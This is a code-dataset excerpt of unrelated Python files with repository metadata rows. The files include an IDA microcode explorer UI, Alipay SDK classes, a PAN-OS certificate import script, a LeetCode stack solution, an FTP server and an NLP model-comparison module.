# create a dockable widget, and save a reference to it for later use
self._twidget = ida_kernwin.create_empty_widget(self.WINDOW_TITLE)
# cast the IDA 'twidget' to a less opaque QWidget object
self.widget = ida_kernwin.PluginForm.TWidgetToPyQtWidget(self._twidget)
# hooks to help track the container/widget lifetime
class ExplorerUIHooks(ida_kernwin.UI_Hooks):
def widget_invisible(_, twidget):
if twidget == self._twidget:
self.visible = False
self._cleanup()
def widget_visible(_, twidget):
if twidget == self._twidget:
self.visible = True
# install the widget lifetime hooks
self._ui_hooks = ExplorerUIHooks()
self._ui_hooks.hook()
def _ui_init_list(self):
"""
Initialize the microcode maturity list.
"""
self._maturity_list = LayerListWidget()
def _ui_init_code(self):
"""
Initialize the microcode view(s).
"""
self._code_view = MicrocodeView(self.model)
self._code_sync = MicroCursorHighlight(self.controller, self.model)
self._code_sync.track_view(self._code_view.widget)
def _ui_init_settings(self):
"""
Initialize the explorer settings groupbox.
"""
self._checkbox_cursor = QtWidgets.QCheckBox("Highlight mutual")
self._checkbox_cursor.setCheckState(QtCore.Qt.Checked)
self._checkbox_verbose = QtWidgets.QCheckBox("Show use/def")
self._checkbox_sync = QtWidgets.QCheckBox("Sync hexrays")
self._checkbox_sync.setCheckState(QtCore.Qt.Checked)
self._groupbox_settings = QtWidgets.QGroupBox("Settings")
layout = QtWidgets.QVBoxLayout()
layout.addWidget(self._checkbox_cursor)
layout.addWidget(self._checkbox_verbose)
layout.addWidget(self._checkbox_sync)
self._groupbox_settings.setLayout(layout)
def _ui_layout(self):
"""
Layout the major UI elements of the widget.
"""
layout = QtWidgets.QGridLayout()
# arrange the widgets in a 'grid' row col row span col span
layout.addWidget(self._code_view.widget, 0, 0, 0, 1)
layout.addWidget(self._maturity_list, 0, 1, 1, 1)
layout.addWidget(self._groupbox_settings, 1, 1, 1, 1)
# apply the layout to the widget
self.widget.setLayout(layout)
def _ui_init_signals(self):
"""
Connect UI signals.
"""
self._maturity_list.currentItemChanged.connect(lambda x, y: self.controller.select_maturity(x.text()))
self._code_view.connect_signals(self.controller)
self._code_view.OnClose = self.hide # HACK
# checkboxes
self._checkbox_cursor.stateChanged.connect(lambda x: self.controller.set_highlight_mutual(bool(x)))
self._checkbox_verbose.stateChanged.connect(lambda x: self.controller.set_verbose(bool(x)))
self._checkbox_sync.stateChanged.connect(lambda x: self._code_sync.enable_sync(bool(x)))
# model signals
self.model.mtext_refreshed(self.refresh)
self.model.maturity_changed(self.refresh)
#--------------------------------------------------------------------------
# Misc
#--------------------------------------------------------------------------
def refresh(self):
"""
Refresh the microcode explorer UI based on the model state.
"""
self._maturity_list.setCurrentRow(self.model.active_maturity - 1)
self._code_view.refresh()
class LayerListWidget(QtWidgets.QListWidget):
"""
The microcode maturity list widget
"""
def __init__(self):
super(LayerListWidget, self).__init__()
# populate the list widget with the microcode maturity levels
self.addItems([get_mmat_name(x) for x in get_mmat_levels()])
# select the first maturity level, by default
self.setCurrentRow(0)
# make the list widget a fixed size, slightly wider than it needs to be
width = self.sizeHintForColumn(0)
self.setMaximumWidth(int(width + width * 0.10))
def wheelEvent(self, event):
"""
Handle mouse wheel scroll events.
"""
y = event.angleDelta().y()
# scrolling down, clamp to last row
if y < 0:
next_row = min(self.currentRow()+1, self.count()-1)
# scrolling up, clamp to first row (0)
elif y > 0:
next_row = max(self.currentRow()-1, 0)
# horizontal scroll ? nothing to do..
else:
return
self.setCurrentRow(next_row)
class MicrocodeView(ida_kernwin.simplecustviewer_t):
"""
An IDA-based text area that will render the Hex-Rays microcode.
TODO: I'll probably rip this out in the future, as I'll have finer
control over the interaction / implementation if I just roll my own
microcode text widget.
For that reason, excuse its hacky-ness / lack of comments.
"""
def __init__(self, model):
super(MicrocodeView, self).__init__()
self.model = model
self.Create()
def connect_signals(self, controller):
self.controller = controller
self.OnCursorPosChanged = lambda: controller.select_position(*self.GetPos())
self.OnDblClick = lambda _: controller.activate_position(*self.GetPos())
self.model.position_changed(self.refresh_cursor)
def refresh(self):
self.ClearLines()
for line in self.model.mtext.lines:
self.AddLine(line.tagged_text)
self.refresh_cursor()
def refresh_cursor(self):
if not self.model.current_position:
return
self.Jump(*self.model.current_position)
def Create(self):
if not super(MicrocodeView, self).Create(None):
return False
self._twidget = self.GetWidget()
self.widget = ida_kernwin.PluginForm.TWidgetToPyQtWidget(self._twidget)
return True
def OnClose(self):
pass
def OnCursorPosChanged(self):
pass
def OnDblClick(self, shift):
pass
def OnPopup(self, form, popup_handle):
controller = self.controller
#
# so, i'm pretty picky about my UI / interactions. IDA puts items in
# the right click context menus of custom (code) viewers.
#
# these items aren't really relevant (imo) to the microcode viewer,
# so I do some dirty stuff here to filter them out and ensure only
# my items will appear in the context menu.
#
# there's only one right click context item right now, but in the
# future i'm sure there will be more.
#
class FilterMenu(QtCore.QObject):
def __init__(self, qmenu):
super(QtCore.QObject, self).__init__()
self.qmenu = qmenu
def eventFilter(self, obj, event):
if event.type() != QtCore.QEvent.Polish:
return False
for action in self.qmenu.actions():
if action.text() in ["&Font...", "&Synchronize with"]: # lol..
qmenu.removeAction(action)
self.qmenu.removeEventFilter(self)
self.qmenu = None
return True
p_qmenu = ctypes.cast(int(popup_handle), ctypes.POINTER(ctypes.c_void_p))[0]
qmenu = sip.wrapinstance(int(p_qmenu), QtWidgets.QMenu)
self.filter = FilterMenu(qmenu)
qmenu.installEventFilter(self.filter)
# only handle right clicks on lines containing micro instructions
ins_token = self.model.mtext.get_ins_for_line(self.model.current_line)
if not ins_token:
return False
class MyHandler(ida_kernwin.action_handler_t):
def activate(self, ctx):
controller.show_subtree(ins_token)
def update(self, ctx):
return ida_kernwin.AST_ENABLE_ALWAYS
# inject the 'View subtree' action into the right click context menu
desc = ida_kernwin.action_desc_t(None, 'View subtree', MyHandler())
ida_kernwin.attach_dynamic_action_to_popup(form, popup_handle, desc, None)
return True
#-----------------------------------------------------------------------------
# Util
#-----------------------------------------------------------------------------
class ViewCursor(object):
"""
TODO
"""
def __init__(self, line_num, x, y, mapped=True):
self.line_num = line_num
self.x = x
self.y = y
self.mapped = mapped
@property
def text_position(self):
return (self.line_num, self.x)
@property
def viewport_position(self):
return (self.line_num, self.x, self.y)
| 34.534045 | 163 | 0.583391 | 24,524 | 0.948117 | 0 | 0 | 2,729 | 0.105505 | 0 | 0 | 9,538 | 0.368747 |
342b25a8f2f2e9f6dd989cfc80e899259fa211c6 | 314 | py | Python | tests/data/plain_old_module.py | danielcompton/mitogen | 2813d1a968d6f694514a0053d094c0da9ea4863b | [
"BSD-3-Clause"
] | null | null | null | tests/data/plain_old_module.py | danielcompton/mitogen | 2813d1a968d6f694514a0053d094c0da9ea4863b | [
"BSD-3-Clause"
] | null | null | null | tests/data/plain_old_module.py | danielcompton/mitogen | 2813d1a968d6f694514a0053d094c0da9ea4863b | [
"BSD-3-Clause"
] | null | null | null | """
I am a plain old module with no interesting dependencies or import machinery
fiddlery.
"""
import math
def get_sentinel_value():
# Some proof we're even talking to the mitogen-test Docker image
return open('/etc/sentinel').read()
def add(x, y):
return x + y
def pow(x, y):
return x ** y
| 15.7 | 76 | 0.671975 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 173 | 0.550955 |
342dccf6ed1521b4555d6a3ff1a444d71531b5f9 | 2,997 | py | Python | alipay/aop/api/domain/PaidOuterCardTemplateConfDTO.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | null | null | null | alipay/aop/api/domain/PaidOuterCardTemplateConfDTO.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | null | null | null | alipay/aop/api/domain/PaidOuterCardTemplateConfDTO.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
from alipay.aop.api.domain.PaidOuterCardCycleSellConfDTO import PaidOuterCardCycleSellConfDTO
from alipay.aop.api.domain.PaidOuterCardManageUrlConfDTO import PaidOuterCardManageUrlConfDTO
from alipay.aop.api.domain.PaidOuterCardSellingConfDTO import PaidOuterCardSellingConfDTO
class PaidOuterCardTemplateConfDTO(object):
def __init__(self):
self._cycle_selling_conf = None
self._manage_url_conf = None
self._open_selling_conf = None
@property
def cycle_selling_conf(self):
return self._cycle_selling_conf
@cycle_selling_conf.setter
def cycle_selling_conf(self, value):
if isinstance(value, PaidOuterCardCycleSellConfDTO):
self._cycle_selling_conf = value
else:
self._cycle_selling_conf = PaidOuterCardCycleSellConfDTO.from_alipay_dict(value)
@property
def manage_url_conf(self):
return self._manage_url_conf
@manage_url_conf.setter
def manage_url_conf(self, value):
if isinstance(value, PaidOuterCardManageUrlConfDTO):
self._manage_url_conf = value
else:
self._manage_url_conf = PaidOuterCardManageUrlConfDTO.from_alipay_dict(value)
@property
def open_selling_conf(self):
return self._open_selling_conf
@open_selling_conf.setter
def open_selling_conf(self, value):
if isinstance(value, PaidOuterCardSellingConfDTO):
self._open_selling_conf = value
else:
self._open_selling_conf = PaidOuterCardSellingConfDTO.from_alipay_dict(value)
def to_alipay_dict(self):
params = dict()
if self.cycle_selling_conf:
if hasattr(self.cycle_selling_conf, 'to_alipay_dict'):
params['cycle_selling_conf'] = self.cycle_selling_conf.to_alipay_dict()
else:
params['cycle_selling_conf'] = self.cycle_selling_conf
if self.manage_url_conf:
if hasattr(self.manage_url_conf, 'to_alipay_dict'):
params['manage_url_conf'] = self.manage_url_conf.to_alipay_dict()
else:
params['manage_url_conf'] = self.manage_url_conf
if self.open_selling_conf:
if hasattr(self.open_selling_conf, 'to_alipay_dict'):
params['open_selling_conf'] = self.open_selling_conf.to_alipay_dict()
else:
params['open_selling_conf'] = self.open_selling_conf
return params
@staticmethod
def from_alipay_dict(d):
if not d:
return None
o = PaidOuterCardTemplateConfDTO()
if 'cycle_selling_conf' in d:
o.cycle_selling_conf = d['cycle_selling_conf']
if 'manage_url_conf' in d:
o.manage_url_conf = d['manage_url_conf']
if 'open_selling_conf' in d:
o.open_selling_conf = d['open_selling_conf']
return o
| 36.108434 | 93 | 0.68335 | 2,602 | 0.868202 | 0 | 0 | 1,484 | 0.495162 | 0 | 0 | 316 | 0.105439 |
342de811bc99973f044dafb400a3ec144fec6901 | 2,092 | py | Python | 1441. Build an Array With Stack Operations.py | alijon30/Leetcode | 73e8171945e1fcbc59e76f79667c9ea130db27e9 | [
"Unlicense"
] | null | null | null | 1441. Build an Array With Stack Operations.py | alijon30/Leetcode | 73e8171945e1fcbc59e76f79667c9ea130db27e9 | [
"Unlicense"
] | null | null | null | 1441. Build an Array With Stack Operations.py | alijon30/Leetcode | 73e8171945e1fcbc59e76f79667c9ea130db27e9 | [
"Unlicense"
] | null | null | null | You are given an array target and an integer n.
In each iteration, you will read a number from list = [1, 2, 3, ..., n].
Build the target array using the following operations:
"Push": Reads a new element from the beginning list, and pushes it in the array.
"Pop": Deletes the last element of the array.
If the target array is already built, stop reading more elements.
Return a list of the operations needed to build target. The test cases are generated so that the answer is unique.
Example 1:
Input: target = [1,3], n = 3
Output: ["Push","Push","Pop","Push"]
Explanation:
Read number 1 and automatically push in the array -> [1]
Read number 2 and automatically push in the array then Pop it -> [1]
Read number 3 and automatically push in the array -> [1,3]
Example 2:
Input: target = [1,2,3], n = 3
Output: ["Push","Push","Push"]
Example 3:
Input: target = [1,2], n = 4
Output: ["Push","Push"]
Explanation: You only need to read the first 2 numbers and stop.
class Solution:
def buildArray(self, target: List[int], n: int) -> List[str]:
stack = Stack()
final = []
for i in range(1, target[-1]+1):
if i in target:
stack.push(i)
final.append("Push")
else:
stack.push(i)
stack.pop()
final.append("Push")
final.append("Pop")
return final
class Stack:
def __init__(self):
self.list = []
def __str__(self):
values = [str(value) for value in self.list]
return ''.join(values)
def push(self, value):
self.list.append(value)
def isEmpty(self):
if self.list == []:
return True
else:
return False
def pop(self):
if self.isEmpty():
return "The stack is empty"
else:
return self.list.pop()
def peek(self):
if self.isEmpty():
return "The stack is empty"
else:
return self.list[-1]
| 26.15 | 114 | 0.565966 | 623 | 0.297801 | 0 | 0 | 0 | 0 | 0 | 0 | 123 | 0.058795 |
342f65e39746a7ae0296639e43f5738b3e8116d0 | 1,264 | py | Python | third_party/libtcod/.ci/conan_build.py | csb6/libtcod-ada | 89c2a75eb357a8468ccb0a6476391a6b388f00b4 | [
"BSD-3-Clause"
] | 686 | 2018-07-01T15:49:10.000Z | 2022-03-30T14:13:40.000Z | third_party/libtcod/.ci/conan_build.py | csb6/libtcod-ada | 89c2a75eb357a8468ccb0a6476391a6b388f00b4 | [
"BSD-3-Clause"
] | 99 | 2018-10-23T17:02:08.000Z | 2022-03-29T18:47:47.000Z | third_party/libtcod/.ci/conan_build.py | csb6/libtcod-ada | 89c2a75eb357a8468ccb0a6476391a6b388f00b4 | [
"BSD-3-Clause"
] | 76 | 2018-07-29T03:51:42.000Z | 2022-03-26T03:10:10.000Z | #!/usr/bin/env python3
"""Build script for conan-package-tools:
https://github.com/conan-io/conan-package-tools
"""
import os
import subprocess
from cpt.packager import ConanMultiPackager
try:
version = subprocess.check_output(
["git", "describe", "--abbrev=0"], universal_newlines=True
)
except subprocess.CalledProcessError:
version = "0.0"
if __name__ == "__main__":
if "CI" in os.environ:
os.environ["CONAN_SYSREQUIRES_MODE"] = "enabled"
# Fix GitHub Actions version tag.
if os.environ.get("GITHUB_REF", "").startswith("refs/tags/"):
version = os.environ["GITHUB_REF"].replace("refs/tags/", "")
builder = ConanMultiPackager(
username="hexdecimal",
channel="conan",
upload="https://api.bintray.com/conan/hexdecimal/conan",
upload_only_when_tag=True,
reference="libtcod/" + version,
remotes=[
"https://conan.bintray.com",
"https://api.bintray.com/conan/bincrafters/public-conan",
],
cppstds=["14"],
visual_runtimes=["MD", "MDd"],
# test_folder="tests/",
build_policy="missing",
upload_dependencies="all",
)
builder.add_common_builds(pure_c=False)
builder.run()
| 29.395349 | 72 | 0.626582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 488 | 0.386076 |
342f8555d424c554a10a704d33b1cac436a6cb38 | 221 | py | Python | introduction-to-data-visualization-in-python/3. Statistical plots with Seaborn/script_11.py | nhutnamhcmus/datacamp-playground | 25457e813b1145e1d335562286715eeddd1c1a7b | [
"MIT"
] | 1 | 2021-05-08T11:09:27.000Z | 2021-05-08T11:09:27.000Z | introduction-to-data-visualization-in-python/3. Statistical plots with Seaborn/script_11.py | nhutnamhcmus/datacamp-playground | 25457e813b1145e1d335562286715eeddd1c1a7b | [
"MIT"
] | 1 | 2022-03-12T15:42:14.000Z | 2022-03-12T15:42:14.000Z | introduction-to-data-visualization-in-python/3. Statistical plots with Seaborn/script_11.py | nhutnamhcmus/datacamp-playground | 25457e813b1145e1d335562286715eeddd1c1a7b | [
"MIT"
] | 1 | 2021-04-30T18:24:19.000Z | 2021-04-30T18:24:19.000Z | # Plotting distributions pairwise (1)
# Print the first 5 rows of the DataFrame
print(auto.head())
# Plot the pairwise joint distributions from the DataFrame
sns.pairplot(auto)
# Display the plot
plt.show()
| 20.090909 | 60 | 0.723982 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 159 | 0.719457 |
342f8c75702c2f5eb9f5b18d688431c38ef406f7 | 472 | py | Python | terraform_model/model/SQSQueuePolicy.py | rubelw/terraform-validator | a9d0335a532acdb4070e5537155b03b34915b73e | [
"MIT"
] | 7 | 2018-11-18T00:29:55.000Z | 2020-05-18T13:23:37.000Z | terraform_model/model/SQSQueuePolicy.py | rubelw/terraform-validator | a9d0335a532acdb4070e5537155b03b34915b73e | [
"MIT"
] | 1 | 2021-05-26T06:58:46.000Z | 2021-05-26T06:58:46.000Z | terraform_model/model/SQSQueuePolicy.py | rubelw/terraform-validator | a9d0335a532acdb4070e5537155b03b34915b73e | [
"MIT"
] | 2 | 2019-10-23T15:22:52.000Z | 2020-06-22T07:00:45.000Z | from __future__ import absolute_import, division, print_function
from terraform_model.model.ModelElement import ModelElement
class SQSQueuePolicy(ModelElement):
"""
SQS Queue Policy Model
"""
def __init__(self, cfn_model):
"""
Initialize
:param cfn_model:
"""
ModelElement.__init__(self, cfn_model)
self.queues= []
self.policy_document = None
self.resource_type = 'AWS::SQS::QueuePolicy' | 24.842105 | 64 | 0.654661 | 345 | 0.730932 | 0 | 0 | 0 | 0 | 0 | 0 | 122 | 0.258475 |
342f9f4a6979c8b7cf15542baa02e9212c5fdc92 | 931 | py | Python | import_pem_certificate/panos/pem_cert_import.py | silliker-paloaltonetworks/IdentitySkillets | 8a493026dfc53cd2c0d7ca398ce823ab315dc785 | [
"Apache-2.0"
] | null | null | null | import_pem_certificate/panos/pem_cert_import.py | silliker-paloaltonetworks/IdentitySkillets | 8a493026dfc53cd2c0d7ca398ce823ab315dc785 | [
"Apache-2.0"
] | null | null | null | import_pem_certificate/panos/pem_cert_import.py | silliker-paloaltonetworks/IdentitySkillets | 8a493026dfc53cd2c0d7ca398ce823ab315dc785 | [
"Apache-2.0"
] | null | null | null | import requests
import argparse
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("--TARGET_IP", help="IP address of the firewall", type=str)
parser.add_argument("--api_key", help="Firewall API Key", type=str)
parser.add_argument("--CERT_NAME", help="Certificate Label", type=str)
parser.add_argument("--CERT_FILE", help="Certificate File Name", type=str)
args = parser.parse_args()
target_ip = args.TARGET_IP
api_key = args.api_key
cert_name = args.CERT_NAME
cert_file = args.CERT_FILE
url = 'https://{}/api/?type=import&format=pem&category=certificate&certificate-name={}&key={}'.format(target_ip, cert_name, api_key)
files = {'file': ( cert_file, open('../../working/' + cert_file, 'rb'), 'application/octet-string', {'Expires': '0'})}
r = requests.post(url, files=files, verify=False)
print(r.text)
| 37.24 | 132 | 0.755102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 290 | 0.311493 |
3430dc2aab0b9a66724eea76329a3c8960caccb6 | 1,640 | py | Python | day06/ftp_server.py | zhangyage/Python-oldboy | a95c1b465929e2be641e425fcb5e15b366800831 | [
"Apache-2.0"
] | 1 | 2020-06-04T08:44:09.000Z | 2020-06-04T08:44:09.000Z | day06/ftp_server.py | zhangyage/Python-oldboy | a95c1b465929e2be641e425fcb5e15b366800831 | [
"Apache-2.0"
] | null | null | null | day06/ftp_server.py | zhangyage/Python-oldboy | a95c1b465929e2be641e425fcb5e15b366800831 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
G:/temp 目录要提前创建一下，做为ftp的根目录
'''
import SocketServer
import os
class MyServer(SocketServer.BaseRequestHandler):
def handle(self):
base_path = 'G:/temp'
conn = self.request
print 'connected...'
while True:
pre_data = conn.recv(1024)
#获取请求的方法、文件名、文件大小
cmd,file_name,file_size=pre_data.split('|')
#已经接受的文件大小
recv_size = 0
#上传文件路径拼接
file_dir = os.path.join(base_path,file_name)
f = file(file_dir,'wb')
Flag = True
while Flag:
#未上传完成
if int(file_size) > recv_size:
#最多接收1024，可能接收的小于1024
data = conn.recv(1024)
recv_size+=len(data)
#上传完毕退出循环
else:
recv_size = 0
Flag = False
continue
f.write(data)
print 'upload successed.'
f.close()
instance = SocketServer.ThreadingTCPServer(('127.0.0.1',9000),MyServer)
instance.serve_forever()
| 22.777778 | 71 | 0.35122 | 1,086 | 0.607383 | 0 | 0 | 0 | 0 | 0 | 0 | 360 | 0.201342 |
34340897da5907a0ab3f5d7121dc238008840d87 | 3,037 | py | Python | built-in/ACL_PyTorch/Official/cv/STGCN_for_Pytorch/st_gcn_export.py | Ascend/modelzoo | f018cfed33dbb1cc2110b9ea2e233333f71cc509 | [
"Apache-2.0"
] | 12 | 2020-12-13T08:34:24.000Z | 2022-03-20T15:17:17.000Z | built-in/ACL_PyTorch/Official/cv/STGCN_for_Pytorch/st_gcn_export.py | Ascend/modelzoo | f018cfed33dbb1cc2110b9ea2e233333f71cc509 | [
"Apache-2.0"
] | 1 | 2022-01-20T03:11:05.000Z | 2022-01-20T06:53:39.000Z | built-in/ACL_PyTorch/Official/cv/STGCN_for_Pytorch/st_gcn_export.py | Ascend/modelzoo | f018cfed33dbb1cc2110b9ea2e233333f71cc509 | [
"Apache-2.0"
] | 2 | 2021-07-10T12:40:46.000Z | 2021-12-17T07:55:15.000Z | # ============================================================================
# Copyright 2018-2019 Open-MMLab. All rights reserved.
# Apache License
# Version 2.0, January 2004
# http://www.apache.org/licenses/
#
# TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import torch
from mmskeleton.utils import call_obj, load_checkpoint
def pt2onnx():
"""ST-GCN export script to convert pt model to ONNX model.
Args:
-ckpt: input checkpoint file path
-onnx: output onnx file path
-batch_size: define batch_size of the model
Returns:
Null. export onnx model with the input parameter -onnx
"""
# define input parameter
parser = argparse.ArgumentParser(
description='ST-GCN Pytorch model convert to ONNX model')
parser.add_argument('-ckpt',
default='./checkpoints/st_gcn.kinetics-6fa43f73.pth',
help='input checkpoint file path')
parser.add_argument('-onnx',
default='./st-gcn_kinetics-skeleton_bs1.onnx',
help='output onnx file path')
parser.add_argument('batch_size', default=1,
help='define batch_size of the model')
args = parser.parse_args()
model_cfg = {'type': 'models.backbones.ST_GCN_18',
'in_channels': 3,
'num_class': 400,
'edge_importance_weighting': True,
'graph_cfg': {'layout': 'openpose', 'strategy': 'spatial'}}
model = call_obj(**model_cfg)
print("========= ST_GCN model ========")
print(model)
print("===============================")
load_checkpoint(model, args.checkpoint, map_location='cpu')
model.eval()
input_name = ["input1"]
output_name = ["output1"]
dummy_input = torch.randn(int(args.batch_size), 3, 300, 18, 2, device='cpu')
torch.onnx.export(model, dummy_input, args.onnx,
input_names=input_name, output_names=output_name)
if __name__ == "__main__":
pt2onnx() | 40.493333 | 80 | 0.62891 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,103 | 0.69246 |
34347bd2feb78a4ffa8841007ef085baa9d77a5e | 1,232 | py | Python | project-euler/solutions/015.py | ikumen/problems-solvers | c1847b09babbef344b2043b575fc81fed5809725 | [
"MIT"
] | null | null | null | project-euler/solutions/015.py | ikumen/problems-solvers | c1847b09babbef344b2043b575fc81fed5809725 | [
"MIT"
] | null | null | null | project-euler/solutions/015.py | ikumen/problems-solvers | c1847b09babbef344b2043b575fc81fed5809725 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
'''
015.py: https://projecteuler.net/problem=15
Lattice paths
Starting in the top left corner of a 2×2 grid, and only being able to move to the right and down, there are exactly 6 routes to the bottom right corner.
How many such routes are there through a 20×20 grid?
'''
import os
import pytest
import time
def find_num_of_paths(w, h):
'''finds the number of paths through a grid of w x h size. Constraints are,
you can only move right to down. Starting position is [0][0], ending at [w][h].'''
if w <= 0 or h <= 0:
return 0
matrix = [[1]*(w+1) for i in range(h+1)]
for n in range(w+1):
for m in range(h+1):
if m == 0 and n == 0:
pass
elif n-1 < 0:
matrix[n][m] = matrix[n][m-1]
elif m-1 < 0:
matrix[n][m] = matrix[n-1][m]
else:
matrix[n][m] = (matrix[n-1][m] + matrix[n][m-1])
return matrix[w][h]
def test_find_num_of_paths():
'''Test'''
assert 2 == find_num_of_paths(1, 1)
assert 6 == find_num_of_paths(2,2)
assert 0 == find_num_of_paths(0, 0)
def main():
'''Main runner, delegates to solution.'''
print(find_num_of_paths(20, 20))
if __name__ == '__main__':
start_time = time.time()
main()
print("--- %s seconds ---" % (time.time() - start_time))
| 23.245283 | 152 | 0.642045 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 537 | 0.43517 |
343576eb2232f5d20995f69fd9ccf799d7a0a593 | 6,635 | py | Python | allthingsnlp/ml_classifier.py | Pranavj94/All-things-NLP | 009e63e35611679afb54ca981675019679179fd3 | [
"Apache-2.0"
] | null | null | null | allthingsnlp/ml_classifier.py | Pranavj94/All-things-NLP | 009e63e35611679afb54ca981675019679179fd3 | [
"Apache-2.0"
] | null | null | null | allthingsnlp/ml_classifier.py | Pranavj94/All-things-NLP | 009e63e35611679afb54ca981675019679179fd3 | [
"Apache-2.0"
] | 1 | 2021-07-27T05:53:36.000Z | 2021-07-27T05:53:36.000Z | import numpy as np
import pandas as pd
import warnings
warnings.filterwarnings("ignore")
from sklearn.model_selection import StratifiedKFold,train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn import linear_model
from sklearn.metrics import precision_recall_fscore_support,accuracy_score
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier
from catboost import CatBoostClassifier
from sklearn.model_selection import RandomizedSearchCV
from scipy.stats import loguniform
import xgboost as xgb
class ml_classifier:
"""
This module trains and tunes different machine learning models and compares the results.
"""
def __init__(self,input_df,text_feature,target):
self.input_df=input_df
self.text_feature=text_feature
self.target=target
# Function to train and compare different models
def compare_models(self,optimize='F1'):
X = np.array(self.input_df[self.text_feature])
y = np.array(self.input_df[self.target])
# Creating model dictionary
model_list=['Logistic Regression','Decision Tree']
#model_list=['Random Forest','CatBoost']
model_results = dict()
for model in model_list:
model_results[model]={'Accuracy':list(),'Precision':list(),'Recall':list(),'F1':list()}
skf = StratifiedKFold(n_splits=2,shuffle=True)
split=0
for train_index, test_index in skf.split(X, y):
split+=1
X_train, X_test = X[train_index], X[test_index]
y_train, y_test = y[train_index], y[test_index]
vectorizer = TfidfVectorizer()
train_features = vectorizer.fit_transform(X_train)
test_features = vectorizer.transform(X_test)
for model in model_list:
print(f'Training {model} for split {split}')
if model == 'Logistic Regression':
lr_clr = linear_model.LogisticRegression()
lr_clr.fit(train_features, y_train)
y_pred=lr_clr.predict(test_features)
elif model == 'Decision Tree':
dt_clf = DecisionTreeClassifier(random_state=0)
dt_clf.fit(train_features, y_train)
y_pred=dt_clf.predict(test_features)
elif model == 'Random Forest':
rf_clf = RandomForestClassifier(random_state=42)
rf_clf.fit(train_features, y_train)
y_pred=rf_clf.predict(test_features)
elif model == 'XGBoost':
xgb_clf = xgb.XGBClassifier(random_state=42)
xgb_clf.fit(train_features, y_train)
y_pred=xgb_clf.predict(test_features)
elif model == 'CatBoost':
cat_clf=CatBoostClassifier(random_state=42)
cat_clf.fit(train_features, y_train)
y_pred=cat_clf.predict(test_features)
model_results[model]['Accuracy'].append(accuracy_score(y_test, y_pred))
model_results[model]['Precision'].append(precision_recall_fscore_support(y_test, y_pred, average='macro')[0])
model_results[model]['Recall'].append(precision_recall_fscore_support(y_test, y_pred, average='macro')[1])
model_results[model]['F1'].append(precision_recall_fscore_support(y_test, y_pred, average='macro')[2])
output_df=pd.DataFrame(columns=['Model','Accuracy','Precision','Recall','F1'])
for model in model_results.keys():
df_length = len(output_df)
Accuracy=round(sum(model_results[model]['Accuracy'])/len(model_results[model]['Accuracy']),2)
Precision=round(sum(model_results[model]['Precision'])/len(model_results[model]['Precision']),2)
Recall=round(sum(model_results[model]['Recall'])/len(model_results[model]['Recall']),2)
F1=round(sum(model_results[model]['F1'])/len(model_results[model]['F1']),2)
output_df.loc[df_length] = [model,Accuracy,Precision,Recall,F1]
# Sort based on optimization parameter
output_df=output_df.sort_values(by=[optimize],ascending=False)
return(output_df)
def train_model(self,estimator='lr'):
"""
Train and hypertune estimators
"""
train_features = np.array(self.input_df[self.text_feature])
vectorizer = TfidfVectorizer()
train_features = vectorizer.fit_transform(train_features)
y = np.array(self.input_df[self.target])
# define evaluation
cv = StratifiedKFold(n_splits=2, random_state=1,shuffle=True)
if estimator=='lr':
model = linear_model.LogisticRegression()
# define search space
space = dict()
space['solver'] = ['newton-cg', 'lbfgs', 'liblinear']
space['penalty'] = ['none', 'l1', 'l2', 'elasticnet']
space['C'] = loguniform(1e-5, 100)
elif estimator=='dt':
model = DecisionTreeClassifier()
space = {'criterion':['gini','entropy'],'max_depth':range(1,10),'min_samples_leaf':range(1,5),'min_samples_split':range(1,10)}
elif estimator=='rf':
model= RandomForestClassifier()
space={'bootstrap': [True, False],'max_depth': [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, None],
'max_features': ['auto', 'sqrt'],
'min_samples_leaf': [1, 2, 4],
'min_samples_split': [2, 5, 10],
'n_estimators': [200, 400]}
elif estimator=='xgb':
model= xgb.XGBClassifier()
space= {'min_child_weight': [1, 5, 10],'gamma': [0.5, 1, 1.5, 2, 5],'subsample': [0.6, 0.8, 1.0],
'colsample_bytree': [0.6, 0.8, 1.0],
'max_depth': [3, 4, 5],'n_estimators': [200, 400]}
search = RandomizedSearchCV(model, space, n_iter=10, scoring='accuracy', n_jobs=-1, cv=cv, random_state=1)
# execute search
result = search.fit(train_features, y)
return(result)
| 40.457317 | 138 | 0.576036 | 5,986 | 0.902185 | 0 | 0 | 0 | 0 | 0 | 0 | 1,082 | 0.163075 |
